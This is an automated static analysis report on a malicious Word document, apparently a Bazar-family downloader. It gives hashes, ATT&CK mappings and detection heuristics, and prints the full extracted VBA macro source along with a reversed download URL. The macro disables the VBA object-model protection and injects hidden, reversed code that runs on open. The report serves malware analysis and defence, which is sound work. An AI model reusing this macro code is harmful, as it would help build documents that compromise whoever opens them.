Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 98d3dd8f68146bba…

MALICIOUS

Office (OOXML)

47.5 KB Created: 2021-07-01 10:26:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-07
MD5: b20eb868d554e0bc6c179a53b7239f2d SHA-1: 96bb7d262d4bede8045f9dd52050f3fde9777a1d SHA-256: 98d3dd8f68146bba558aaa73a8223c6e0f87c100f80dbc0c7a95228f160f6262
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1547.001 Registry Run Keys / Startup Folder T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro executes a function that uses WScript.Shell to write a registry value to 'HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\AccessVBOM', likely for persistence. It also calls a function that downloads a file from the hardcoded URL 'http://7soz/6Kd/iXWza97h/6mwYVY3V7K3WJRgWgY0jLd2YLgDlih/TUdgzje/8XkQyaKZc8Nm/adda/moc.dnuohlaceriw//:ptth', which is then likely executed. The ClamAV detection name 'Doc.Downloader.BazarBlue09212-9898946-0' suggests a downloader family.

Heuristics 8

  • ClamAV: Doc.Downloader.BazarBlue09212-9898946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.BazarBlue09212-9898946-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub varMain()
CreateObject("wscript.shell").RegWrite memoryMainButton, 1, "REG_DWORD"
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub varMain()
CreateObject("wscript.shell").RegWrite memoryMainButton, 1, "REG_DWORD"
End Sub
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Sub queryIterator(queryOption)
Set tmpIterator = GetObject("", "word.application")
With tmpIterator.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub autoopen()
varMain
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1485 bytes
SHA-256: 25833918fc0f54d3a5fe8ac5c74d178a9d03231dd801c2e66a1c8e71ef6ff3d9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "procedureRightDelete"
Function windowSwap()
windowSwap = ActiveDocument.Range.Text
End Function
Sub varMain()
CreateObject("wscript.shell").RegWrite memoryMainButton, 1, "REG_DWORD"
End Sub
Function procMainPtr()
procMainPtr = textIterator(windowSwap, 8 / 4, 1500000)
End Function
Function textIterator(procValueEx, argWException, counterCopyArg)
textIterator = Mid(procValueEx, argWException, counterCopyArg)
End Function

Attribute VB_Name = "counterCopyPaste"
Function copyButton(captionQuery)
length = Len(captionQuery)
For i = 0 To length - 1
reversedText = reversedText & Mid(captionQuery, (length - i), 1)
Next
copyButton = reversedText
End Function
Sub autoopen()
varMain
queryIterator copyButton(procMainPtr)
End Sub
Sub queryIterator(queryOption)
Set tmpIterator = GetObject("", "word.application")
With tmpIterator.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString queryOption
End With
tmpIterator.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Function memoryMainButton()
memoryMainButton = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & "\Word\Security\AccessVBOM"
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: 958ac0dc76f079727f9158902a150780e43725d5557b932e02ecde4de36d2388

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